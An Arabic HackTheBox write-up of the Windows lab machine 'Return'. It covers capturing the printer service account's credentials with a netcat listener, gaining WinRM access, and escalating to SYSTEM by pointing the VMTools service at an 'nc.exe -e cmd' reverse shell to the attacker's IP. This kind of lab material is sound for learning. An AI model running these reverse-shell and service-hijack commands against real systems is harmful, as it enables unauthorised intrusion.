> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md).

# شرح Return HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Return>" %}

{% hint style="warning" %}
**المهارات:**

* إساءة استخدام طابعة الشبكة
* استغلال مجموعة Server Operators
* التعامل مع تهيئة الخدمة
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/9458e6a9befe478c8ab661540c28bd5ebfa765c2" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/491df9bf520ff6d04fb06c07b2dd152ca8f9f607" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts
```

<figure><img src="/files/6badb95feb3eebf4c93fdcfef5764095610cda19" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/ecf25b973991d9e573a29962849084d68197cf76" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted
```

<figure><img src="/files/00fd5a662eac42df712562f59dab3f61ac7b399c" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/688d1ca64fb5df7ea07ce63df1706687830bb6c0" alt="" width="563"><figcaption></figcaption></figure>

#### المنفذ 80:

<figure><img src="/files/b6ff08df9301acd4e9fe7532a955e07d2f70b43c" alt=""><figcaption></figcaption></figure>

## إساءة استخدام طابعة الشبكة

في إعدادات المنفذ 80، يتم العثور على إعداد خادم يشير إلى `print.return.local` عبر المنفذ 389.

<figure><img src="/files/053cc85a3b0444ea8986e381adb6cb838885eaa9" alt=""><figcaption></figcaption></figure>

**الاستماع إلى المنفذ 389**/ بوضع `netcat` على المنفذ 389

```bash
nc -nlvp 389
```

* يتم تلقي اتصال، مما يكشف بيانات اعتماد `svc-printer` مستخدم لديه `1edFg43012!!` كلمة المرور.

<figure><img src="/files/8127bd89839579a8929f2e8431b90f211907443f" alt="" width="542"><figcaption></figcaption></figure>

**التحقق من الهوية عبر WinRM**

بما أن منفذ WinRM (5985) مفتوح، يتم التحقق من بيانات الاعتماد باستخدام `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* تؤكد الإجابة "pwned" صحة بيانات الاعتماد.

<figure><img src="/files/d999d93694f958c8b3c4df316e522b4ed58c578b" alt=""><figcaption></figcaption></figure>

**تسجيل الدخول عبر Evil-WinRM**

باستخدام `evil-winrm` للحصول على جلسة shell باستخدام `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="/files/d2ad9d7eeb6cc1a2242691b46e7589b41bc70b01" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/2ecc28160169ed53f50009a8a4fce963c22c1d47" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات (مستويات السلامة):

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}

**تدقيق مجموعات الأعضاء**/ الـ `whoami /groups` يشير الأمر إلى أن المستخدم ينتمي إلى `التصنيف الإلزامي/المستوى الإلزامي العالي` المجموعة، مما يسمح له بإدارة الخدمات.

<figure><img src="/files/23973e15f46a279026825aeaec6f47c4c18ae559" alt=""><figcaption></figcaption></figure>

**التلاعب بالخدمة من أجل تصعيد الامتيازات**/ يمكن للمستخدم أن يعدّل خدمة ويعيد تشغيلها لتنفيذ أمر بامتيازات أعلى.

<figure><img src="/files/229c6213c58b4ff2dc9898d76938583b1fefc42f" alt=""><figcaption></figcaption></figure>

**إنشاء خدمة**/ تتم محاولة إنشاء خدمة reverse shell باستخدام `sc.exe`، ولكن دون الصلاحيات اللازمة:

<pre class="language-powershell"><code class="lang-powershell"><strong>sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
</strong></code></pre>

<figure><img src="/files/35a44aa015a581d49a5e7a1bbc65171f128bc937" alt=""><figcaption></figcaption></figure>

**تعديل خدمة VMTools**/ لتشغيل خدمة موجودة، `nc.exe` يتم نقلها إلى الجهاز الهدف، ثم `VMTools` يتم تعديل الخدمة لتشغيل reverse shell:

* **نقل Netcat**

```bash
cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe .
```

```powershell
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

<figure><img src="/files/716841d4eafa2f6b1fa5e1a45a3c8ca1a8d180bf" alt=""><figcaption></figcaption></figure>

الفكرة هنا هي إعادة توجيه الملف التنفيذي لخدمة ما لتنفيذ أمر reverse shell، مما قد يمنحك جلسة بصلاحيات عالية إذا كانت الخدمة تعمل بامتيازات `SYSTEM` الامتيازات.

```powershell
sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
```

<figure><img src="/files/ae6cae6642352e24cd530373392ebb8060c3c804" alt=""><figcaption></figcaption></figure>

**إعادة تشغيل الخدمة**/ بعد التهيئة، تتم إعادة تشغيل الخدمة لتشغيل shell:

<pre class="language-powershell"><code class="lang-powershell">sc.exe stop VMTools
<strong>sc.exe start VMTools
</strong></code></pre>

استمع إلى المنفذ 443 للاتصال الوارد:

```bash
sudo rlwrap nc -nlvp 443
```

<figure><img src="/files/29f571060856dac1cf0ee91322e55898d172b87b" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/c56f7b1674f803035761ddaf5d159240467b4e66" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/036fee9445d1935636754fd4cca6009323795262" alt="" width="536"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
